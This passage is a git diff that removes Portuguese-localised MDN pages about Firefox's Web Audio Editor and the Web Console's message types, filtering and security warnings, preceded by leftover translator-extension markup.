value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/tools/web_audio_editor/index.html b/files/pt-pt/tools/web_audio_editor/index.html
deleted file mode 100644
index 947ff62d62..0000000000
--- a/files/pt-pt/tools/web_audio_editor/index.html
+++ /dev/null
@@ -1,69 +0,0 @@
----
-title: Editor de Áudio da Web
-slug: Tools/Web_Audio_Editor
-tags:
- - API Áudio Web
- - Ferramentas
- - Firefox
- - Mozilla
-translation_of: Tools/Web_Audio_Editor
-original_slug: Tools/Editor_de_audio_da_Web
----
-<div>{{ToolsSidebar}}</div><p>With the <a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Web Audio API</a>, developers create an {{domxref ("AudioContext", "audio context")}}. Within that context they then construct a number of {{domxref ("AudioNode", "audio nodes")}}, including:</p>
-
-<ul>
- <li>nodes providing the <a href="/en-US/docs/Web/API/Web_Audio_API#Defining_audio_sources">audio source</a>, such as an oscillator or a data buffer source</li>
- <li>nodes performing <a href="/en-US/docs/Web/API/Web_Audio_API#Defining_audio_effects_filters">transformations</a> such as delay and gain</li>
- <li>nodes representing the <a href="/en-US/docs/Web/API/Web_Audio_API#Defining_audio_destinations">destination of the audio stream</a>, such as the speakers</li>
-</ul>
-
-<p>Each node has zero or more {{domxref ("AudioParam")}} properties that configure its operation. For example, the {{domxref ("GainNode")}} has a single <code>gain</code> property, while the {{domxref ("OscillatorNode")}} has <code>frequency</code> and <code>detune</code> properties.</p>
-
-<p>The developer connects the nodes in a graph, and the complete graph defines the behavior of the audio stream.</p>
-
-<p>The Web Audio Editor examines an audio context constructed in the page and provides a visualization of its graph. This gives you a high-level view of its operation, and enables you to ensure that all the nodes are connected in the way you expect. You can then examine and edit the <code>AudioParam</code> properties for each node in the graph. Some non-<code>AudioParam</code> properties, like an <code>OscillatorNode</code>'s <code>type</code> property, are displayed, and you can edit these as well.</p>
-
-<p>This tool is still experimental. If you find bugs, we'd love it if you <a class="external external-icon" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Developer%20Tools%3A%20Web%20Audio%20Editor">filed them in Bugzilla</a>. If you have feedback or suggestions for new features, <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">dev-developer-tools</a> or <a href="https://twitter.com/firefoxdevtools">Twitter</a> are great places to register them.</p>
-
-<h2 id="Abrir_o_Editor_de_Áudio_da_Web">Abrir o Editor de Áudio da Web</h2>
-
-<p>The Web Audio Editor is not enabled by default in Firefox 32. To enable it, open the <a href="/en-US/docs/Tools/Tools_Toolbox#Settings_2">Developer Tool Settings</a> and check "Web Audio". Now there should be an extra tab in the <a href="/en-US/docs/Tools/Tools_Toolbox#Toolbar">Toolbox toolbar</a> labeled "Web Audio". Click the tab and load a page that constructs an audio context. Two good demos are:</p>
-
-<ul>
- <li>the <a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-Matic</a>, which can apply various effects to the microphone input and also provides a visualisation of the result</li>
- <li>the <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, which changes the pitch and volume of a sine wave as you move the mouse pointer</li>
-</ul>
-
-<h2 id="Visualizar_o_gráfico">Visualizar o gráfico</h2>
-
-<p>The Web Audio Editor will now display the graph for the loaded audio context. Here's the graph for the Violent Theremin demo:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10171/web-audio-editor.png" style="display: block; height: 648px; margin-left: auto; margin-right: auto; width: 868px;">You can see that it uses three nodes: an {{domxref ("OscillatorNode")}} as the source, a {{domxref ("GainNode")}} to control the volume, and an {{domxref ("GainNode")}} as the destination.</p>
-
-<h3 id="Ligações_para_Parâmetros_de_Áudio">Ligações para Parâmetros de Áudio</h3>
-
-<div class="geckoVersionNote">
-<p>Displaying connections to AudioParams is new in Firefox 34.</p>
-</div>
-
-<p>As ligações entre os nodos são exibidas como linhas sólidas. Se, em vez disso, <a href="/pt-PT/docs/Web/API/AudioNode/connect_Parametro_de_Audio">ligou um nodo para uma Parâmetro de Áudio em outro nodo</a>, então a ligação é mostrada como uma linha tracejada entre os nodos, e é etiquetada com o nome de '<code>AudioParam'</code>:<img alt="" src="https://mdn.mozillademos.org/files/8819/web%20audio-editor-connect-param.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<h2 id="Inspecionar_e_modificar_Nodos_de_Áudio">Inspecionar e modificar Nodos de Áudio</h2>
-
-<p>If you click on a node, it's highlighted and you get a node inspector on the right hand side. This list the values of that node's <code>AudioParam</code> properties. For example, here's what the OscillatorNode looks like:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10173/web-audio-editor-props.png" style="display: block; height: 648px; margin-left: auto; margin-right: auto; width: 868px;">With the Violent Theremin demo, the frequency parameter is modified as the user moves the mouse left and right, and you can see this reflected in the node inspector. However, the value isn't updated in real time: you have to click the node again to see the updated value.</p>
-
-<p>If you click on a value in the node inspector you can modify it: press <kbd>Enter</kbd> or <kbd>Tab</kbd> and the new value takes effect immediately.</p>
-
-<h2 id="Ignorar_nodos">Ignorar nodos</h2>
-
-<div class="geckoVersionNote">
-<p>Novo no Firefox 38.</p>
-</div>
-
-<p>In the pane that shows you the node's details, there's an on/off button:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10183/web-audio-editor-on-off.png" style="display: block; height: 97px; margin-left: auto; margin-right: auto; width: 316px;">Click it, and the graph will be modified to bypass this node, so it will no longer have any effect. Nodes that are bypassed are shown with a hatched background:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10181/web-audio-editor-bypassed.png" style="display: block; height: 74px; margin-left: auto; margin-right: auto; width: 348px;"></p>
diff --git a/files/pt-pt/tools/web_console/console_messages/index.html b/files/pt-pt/tools/web_console/console_messages/index.html
deleted file mode 100644
index c4e251e0ed..0000000000
--- a/files/pt-pt/tools/web_console/console_messages/index.html
+++ /dev/null
@@ -1,475 +0,0 @@
----
-title: Mensagens da Consola
-slug: Tools/Web_Console/Console_messages
-translation_of: Tools/Web_Console/Console_messages
-original_slug: Tools/Consola_da_Web/Mensagens_consola
----
-<div>{{ToolsSidebar}}</div><p>A maior parte da 'Consola da Web' é ocupada pelo painel de exibição de mensagens:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13278/console-messages.png" style="display: block; height: 278px; margin-left: auto; margin-right: auto; width: 877px;"></p>
-
-<p>Cada mensgaem é exibida como uma linha separada:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5585/web-console-message-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <td><strong>Hora</strong></td>
- <td>The time the message was recorded. This is not shown by default: you can opt to see timestamps using a <a href="/en-US/docs/Tools_Toolbox#Settings">setting in the Toolbox</a>.</td>
- </tr>
- <tr>
- <td><strong>Categoria</strong></td>
- <td>
- <p><strong>Category</strong>: this indicates what sort of message this is:</p>
-
- <ul style="margin-left: 40px;">
- <li><strong>Black</strong>: Network request</li>
- <li><span style="color: #0099ff;"><strong>Blue</strong></span>: CSS warning/error/log</li>
- <li><strong><span style="color: #ff8c00;">Orange</span></strong>: JavaScript warning/error</li>
- <li><span style="color: #ff0000;"><strong>Red</strong></span>: Security warning/error</li>
- <li><span style="color: #90b090;"><strong>Green</strong></span>: Server logs</li>
- <li><span style="color: #a9a9a9;"><strong>Light Gray</strong></span>: <a href="/en-US/docs/Web/API/console" title="/en-US/docs/Web/API/console">Console</a> API messages</li>
- <li><span style="color: #696969;"><strong>Dark Gray</strong></span>: input/output from the interactive <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">command line interpreter</a></li>
- </ul>
- </td>
- </tr>
- <tr>
- <td><strong>Tipo</strong></td>
- <td>For all messages except network requests and interactive input/output an icon indicating whether it is an error(X), a warning(!) or an informational log message (i).</td>
- </tr>
- <tr>
- <td><strong>Mensagem</strong></td>
- <td>The message itself.</td>
- </tr>
- <tr>
- <td><strong>Número de ocorrências</strong></td>
- <td>If a line that generates a warning or error is executed more than once, it is only logged once and this counter appears to indicate how many times it was encountered.</td>
- </tr>
- <tr>
- <td><strong>Nome de ficheiro e número da linha</strong></td>
- <td>
- <p>For JavaScript, CSS and console API messages the message can be traced to a specific line of code. The console then provides a link to the filename and line number that generated the message.</p>
-
- <p>From Firefox 36, this includes the column number as well.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>By default, the console is cleared each time you navigate to a new page or reload the current page. To override this behavior, check "Enable persistent logs" in the <a href="/en-US/docs/Tools_Toolbox#Common_preferences">Settings</a>.</p>
-
-<h2 id="Categorias_da_mensagem">Categorias da mensagem</h2>
-
-<h3 id="Rede">Rede</h3>
-
-<div class="note">
-<p>Network log messages are not shown by default. Use the <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">filtering</a> feature to show them.</p>
-</div>
-
-<p>Network requests are logged with a line that looks like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5593/web-console-message-request-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <td><strong>Hora</strong></td>
- <td>The time the message was recorded.</td>
- </tr>
- <tr>
- <td><strong>Categoria</strong></td>
- <td>Indicates that the message is an HTTP request.</td>
- </tr>
- <tr>
- <td><strong>Método</strong></td>
- <td>
- <p>The specific HTTP request method.</p>
-
- <p>If the request was made as an <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>, there's an additional note indicating this:</p>
-
- <p><img alt="" src="https://mdn.mozillademos.org/files/10167/web-console-xhr.png" style="display: block; height: 51px; margin-left: auto; margin-right: auto; width: 648px;"></p>
- </td>
- </tr>
- <tr>
- <td><strong>URI</strong></td>
- <td>The target URI.</td>
- </tr>
- <tr>
- <td><strong>Resumo</strong></td>
- <td>The HTTP version, status code, and time taken to complete.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Visualização_dos_detalhes_do_pedido_de_rede">Visualização dos detalhes do pedido de rede</h4>
-
-<p>If you click on the message, you'll be redirected to the <a href="/en-US/docs/Tools/Network_Monitor">Network panel</a> where the request is selected and more request and response details are shown within the side panel at the right side. In versions prior to Firefox 43 this information was shown in a separate popup.</p>
-
-<p>Starting in Firefox 48, you can access much of this detail inline, without leaving the Web Console. Network request entries get a disclosure arrow next to them. Click this to see:</p>
-
-<ul>
- <li><strong>Headers:</strong> request and response headers</li>
- <li><strong>Response:</strong> the response body</li>
- <li><strong>Cookies:</strong> any cookies that were sent along with the request</li>
- <li><strong>Call Stack</strong> (new in Firefox 50): for requests initiated by JavaScript, such as <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, you can see the call stack at the point the request was made.</li>
-</ul>
-
-<p>{{EmbedYouTube("cFlcWzJ9j4I")}}</p>
-
-<h3 id="JS">JS</h3>
-
-<p>JavaScript messages look like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7101/js-error-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<h4 id="Hiperligação_Sbaer_mais">Hiperligação "Sbaer mais"</h4>
-
-<div class="geckoVersionNote">Novo no Firefox 49</div>
-
-<p>JavaScript errors contain a "Learn more" link that takes you to the<a href="/en-US/docs/Web/JavaScript/Reference/Errors"> JavaScript error reference</a> containing additional advice for fixing issues:</p>
-
-<p>{{EmbedYouTube("OabJc2QR6o0")}}</p>
-
-<h4 id="Source_maps">Source maps</h4>
-
-<div class="geckoVersionNote">New in Firefox 50 (but disabled by default)</div>
-
-<p>From Firefox 50, the Web Console understands <a href="http://blog.teamtreehouse.com/introduction-source-maps">source maps</a>. This means that if your JavaScript sources are compressed, you can supply a source map for them. Then any messages or errors your source generates will show up in the Web Console with a link back to the original source, not the compressed version.</p>
-
-<p>At the moment source map support is disabled by default. To enable it, visit "about:config", find the preference "devtools.source-map.locations.enabled" and set it to <code>true</code>.</p>
-
-<p>Be aware that support is still experimental. It may have bugs and may slow down console output. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1289570">Bug 1289570</a> tracks any work that needs to be done before source map support can be enabled by default.</p>
-
-<h3 id="CSS">CSS</h3>
-
-<div class="note">
-<p>CSS warnings and reflow messages are not shown by default. Use the <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">filtering</a> feature to show them.</p>
-</div>
-
-<p>CSS messages look like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5585/web-console-message-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<h4 id="Reflow_events">Reflow events</h4>
-
-<p>The Web Console also logs reflow events under the CSS category. A reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. Reflows occur when a change has happened to a page that the browser thinks affects the layout. Many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like <a href="/en-US/docs/Web/CSS/:hover">:hover</a>, or manipulating the DOM in JavaScript.</p>
-
-<p>Because reflows can be computationally expensive and directly affect the user interface, they can have a big impact on the responsiveness of a website or web app. By logging reflow events the Web Console can give you insight into when reflow events are being triggered, how long they take to execute and, if the reflows are <a href="/en-US/docs/Tools/Web_Console/Console_messages#Synchronous_and_asynchronous_reflows">synchronous reflows</a> triggered from JavaScript, which code triggered them.</p>
-
-<p>Reflow events are logged as "Reflow" messages, as distinct from CSS errors or warnings. By default, they are disabled. You can enable them by clicking the "CSS" button in the <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">toolbar</a> and selecting "Reflows".</p>
-
-<p>Each message is labeled "reflow" and shows the time taken to execute the reflow:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6365/web-console-reflow-asynch.png" style="display: block; height: 53px; margin-left: auto; margin-right: auto; width: 554px;">If the reflow is a synchronous reflow triggered from JavaScript, it also shows a link to the line of code that triggered the reflow:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6367/web-console-reflow-synch.png" style="display: block; height: 51px; margin-left: auto; margin-right: auto; width: 554px;">Click the link to open the file in the <a href="/en-US/docs/Tools/Debugger">Debugger</a>.</p>
-
-<h4 id="Synchronous_and_asynchronous_reflows"><a name="synchronous-and-asynchronous-reflows">Synchronous and asynchronous reflows</a></h4>
-
-<p>If a change is made that invalidates the current layout - for example, the browser window is resized or some JavaScript modifies an element's CSS - the layout is not recalculated immediately. Instead, the reflow happens asynchronously, the next time the browser decides it needs to be done (generally, the next time the browser repaints). In this way the browser can save up a collection of invalidating changes and recalculate their effect at once.</p>
-
-<p>However, if some JavaScript code reads a style that has been modified, then the browser must perform a synchronous reflow in order to calculate the computed style to return. For example, code like this will cause an immediate, synchronous, reflow, when it calls <code>window.getComputedStyle(thing).height</code>:</p>
-
-<pre class="brush: js">var thing = document.getElementById("the-thing");
-thing.style.display = "inline-block";
-var thingHeight = window.getComputedStyle(thing).height;</pre>
-
-<p>Because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the DOM, because every time you read back a style that has been invalidated by a previous write call, you force a synchronous reflow.</p>
-
-<h3 id="Security">Security</h3>
-
-<p>Security warnings and errors look like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7107/sec-error-annotated.png" style="display: block; margin-left: auto; margin-right: auto;">The security messages shown in the Web Console help developers find potential or actual vulnerabilities in their sites. Additionally, many of these messages help educate developers because they end with a “Learn More” link that takes you to a page with background information and advice for mitigating the issue.</p>
-
-<p>The complete list of security messages is as follows:</p>
-
-<table class="standard-table" style="width: auto;">
- <tbody>
- <tr>
- <th scope="col">Message</th>
- <th scope="col">Details</th>
- </tr>
- <tr>
- <td>Blocked loading mixed active content</td>
- <td>The page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser blocked this active content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
- </tr>
- <tr>
- <td>Blocked loading mixed display content</td>
- <td>The page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser blocked this display content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
- </tr>
- <tr>
- <td>Loading mixed (insecure) active content on a secure page</td>
- <td>The page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser loaded this active content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
- </tr>
- <tr>
- <td>Loading mixed (insecure) display content on a secure page</td>
- <td>The page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser loaded this display content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
- </tr>
- <tr>
- <td>This site specified both an X-Content-Security-Policy/Report-Only header and a Content-Security-Policy/Report-Only header. The X-Content-Security-Policy/Report-Only header(s) will be ignored.</td>
- <td>See <a href="/en-US/docs/Security/CSP">Content Security Policy</a> for more details.</td>
- </tr>
- <tr>
- <td>The X-Content-Security-Policy and X-Content-Security-Report-Only headers will be deprecated in the future. Please use the Content-Security-Policy and Content-Security-Report-Only headers with CSP spec compliant syntax instead.</td>
- <td>See <a href="/en-US/docs/Security/CSP">Content Security Policy</a> for more details.</td>
- </tr>
- <tr>
- <td>Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen.</td>
- <td>Pages containing login forms must be served over HTTPS, not HTTP.</td>
- </tr>
- <tr>
- <td>Password fields present in a form with an insecure (http://) form action. This is a security risk that allows user login credentials to be stolen.</td>
- <td>Forms containing password fields must submit them over HTTPS, not HTTP.</td>
- </tr>
- <tr>
- <td>Password fields present on an insecure (http://) iframe. This is a security risk that allows user login credentials to be stolen.</td>
- <td>iframes containing login forms must be served over HTTPS, not HTTP.</td>
- </tr>
- <tr>
- <td>The site specified an invalid Strict-Transport-Security header.</td>
- <td>See <a href="/en-US/docs/Security/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a> for more details.</td>
- </tr>
- <tr>
- <td>
- <p>This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.</p>
- </td>
- <td>
- <p>The site uses a certificate whose signature uses the SHA-1 hash algorithm.</p>
-
- <p>SHA-1 is still still widely used in certificates, but it is starting to show its age. Web sites and Certification Authorities are encouraged to switch to stronger hash algorithms in future. See the <a href="/en-US/docs/Security/Weak_Signature_Algorithm">Weak Signature Algorithm</a> article for more details.</p>
-
- <p>Note that the SHA-1 certificate may not be your site's own certificate, but may be the certificate belonging to a Certification Authority that was used to sign your site's certificate.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=863874">Bug 863874</a> is the meta-bug for logging relevant security messages to the Web Console. If you have more ideas for useful features like the ones discussed here, or are interested in contributing, check out the metabug and its dependencies.</p>
-
-<h3 id="Logging">Logging</h3>
-
-<div class="note">
-<p>Messages logged from <a href="/en-US/docs/Web/API/SharedWorker">Shared Workers</a>, <a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a>, add-ons, and <a href="/en-US/docs/Mozilla/ChromeWorkers">Chrome Workers</a> are not shown by default. Use the <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">filtering</a> feature to show them.</p>
-</div>
-
-<p>The Logging category includes messages logged using the <a href="/en-US/docs/Web/API/Console">Console</a> API.<br>
- <img alt="" src="https://mdn.mozillademos.org/files/7105/console-api-message-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<p>The Web console supports the following <a href="/en-US/docs/Web/API/Console">Console API</a> messages:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Console.assert"><code>assert()</code></a></li>
- <li><code><a href="/en-US/docs/Web/API/Console/clear">clear()</a></code> (new in Firefox 48)</li>
- <li><a href="/en-US/docs/Web/API/Console.count"><code>count()</code></a></li>
- <li><a href="/en-US/docs/Web/API/Console.dir"><code>dir()</code></a></li>
- <li><a href="/en-US/docs/Web/API/Console.dirxml"><code>dirxml()</code></a></li>
- <li><a href="/en-US/docs/Web/API/Console.error"><code>error()</code></a></li>
- <li><code>exception()</code></li>
- <li><code><a href="/en-US/docs/Web/API/Console.group">group()</a></code></li>
- <li><code><a href="/en-US/docs/Web/API/Console/groupEnd">groupEnd()</a></code></li>
- <li><code>info()</code></li>
- <li><a href="/en-US/docs/Web/API/Console.log"><code>log()</code></a></li>
- <li><a href="/en-US/docs/Web/API/Console.table"><code>table()</code></a></li>
- <li><a href="/en-US/docs/Web/API/Console.time"><code>time()</code></a></li>
- <li><a href="/en-US/docs/Web/API/Console.timeEnd"><code>timeEnd()</code></a></li>
- <li><a href="/en-US/docs/Web/API/Console.trace"><code>trace()</code></a></li>
- <li><a href="/en-US/docs/Web/API/Console.warn"><code>warn()</code></a></li>
-</ul>
-
-<p>The console prints a stack trace for all error messages, like this:</p>
-
-<pre class="brush: js">function foo() {
- console.error("it explodes");
-}
-
-function bar() {
- foo();
-}
-
-function doStuff() {
- bar();
-}
-
-doStuff();</pre>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11665/error-stack.png" style="display: block; height: 92px; margin-left: auto; margin-right: auto; width: 465px;"></p>
-
-<h3 id="Servidor">Servidor</h3>
-
-<div class="geckoVersionNote">
-<p>Novo no Firefox 43</p>
-</div>
-
-<div class="note">
-<p>Server-side log messages are not shown by default. Use the <a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category">filtering</a> feature to show them.</p>
-</div>
-
-<p>From Firefox 43, the Web Console can display messages sent from the server. This enables you to use the Web Console to debug server-side code.</p>
-
-<p>It uses the <a href="https://craig.is/writing/chrome-logger">Chrome Logger</a> protocol. Briefly, the way it works is:</p>
-
-<ul>
- <li>your server-side code - Python, PHP, Node.js, ... - includes a library that provides a console API</li>
- <li>your server-side code uses this API to log messages</li>
- <li>the server-side library creates JSON objects from the messages and encodes them for transmission</li>
- <li>the messages are transmitted to the client as a response header named <code>X-ChromeLogger-Data</code></li>
- <li>the Web Console decodes these headers and displays them</li>
-</ul>
-
-<p>To find a suitable library for your server code, see the <a href="https://craig.is/writing/chrome-logger">Chrome Logger documentation</a>.</p>
-
-<h3 id="Linha_de_comando_-_entradasaída">Linha de comando - entrada/saída</h3>
-
-<p>Commands sent to the browser using the <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter" title="#command-line">Web Console's command line</a>, and the corresponding responses, are logged using lines like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/5587/web-console-message-input-output.png" style="display: block; height: 68px; margin-left: auto; margin-right: auto; width: 554px;">The dark gray bar indicates that these are input/output messages, while the direction of the arrow discriminates between input and output.</p>
-
-<h2 id="Filtering_and_searching"><a name="filtering-and-searching">Filtering and searching</a></h2>
-
-<h3 id="Filtrar_por_categoria">Filtrar por categoria</h3>
-
-<p>You can use the toolbar along the top to constrain the results displayed.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13284/console-toolbar.png" style="display: block; height: 297px; margin-left: auto; margin-right: auto; width: 877px;">To see only messages of particular categories, click the button labeled with that category ("Net", "CSS", and so on). Clicking the main part of the button toggles that category on or off, while clicking the arrow on the right gives you more fine-grained filter options within that category:</p>
-
-<ul>
- <li>Net
- <ul>
- <li>Errors</li>
- <li>Warnings</li>
- <li>XHR</li>
- <li>Log</li>
- </ul>
- </li>
- <li>CSS
- <ul>
- <li>Errors</li>
- <li>Warnings</li>
- <li>Reflows</li>
- </ul>
- </li>
- <li>JS
- <ul>
- <li>Errors</li>
- <li>Warnings</li>
- </ul>
- </li>
- <li>Security
- <ul>
- <li>Errors</li>
- <li>Warnings</li>
- </ul>
- </li>
- <li>Logging
- <ul>
- <li>Errors</li>
- <li>Warnings</li>
- <li>Info</li>
- <li>Log</li>
- <li>Shared Workers</li>
- <li>Service Workers</li>
- <li>Add-on or Chrome Workers</li>
- </ul>
- </li>
- <li>Server
- <ul>
- <li>Errors</li>
- <li>Warnings</li>
- <li>info</li>
- <li>Log</li>
- </ul>
- </li>
-</ul>
-
-<h3 id="Filtrar_por_texto">Filtrar por texto</h3>
-
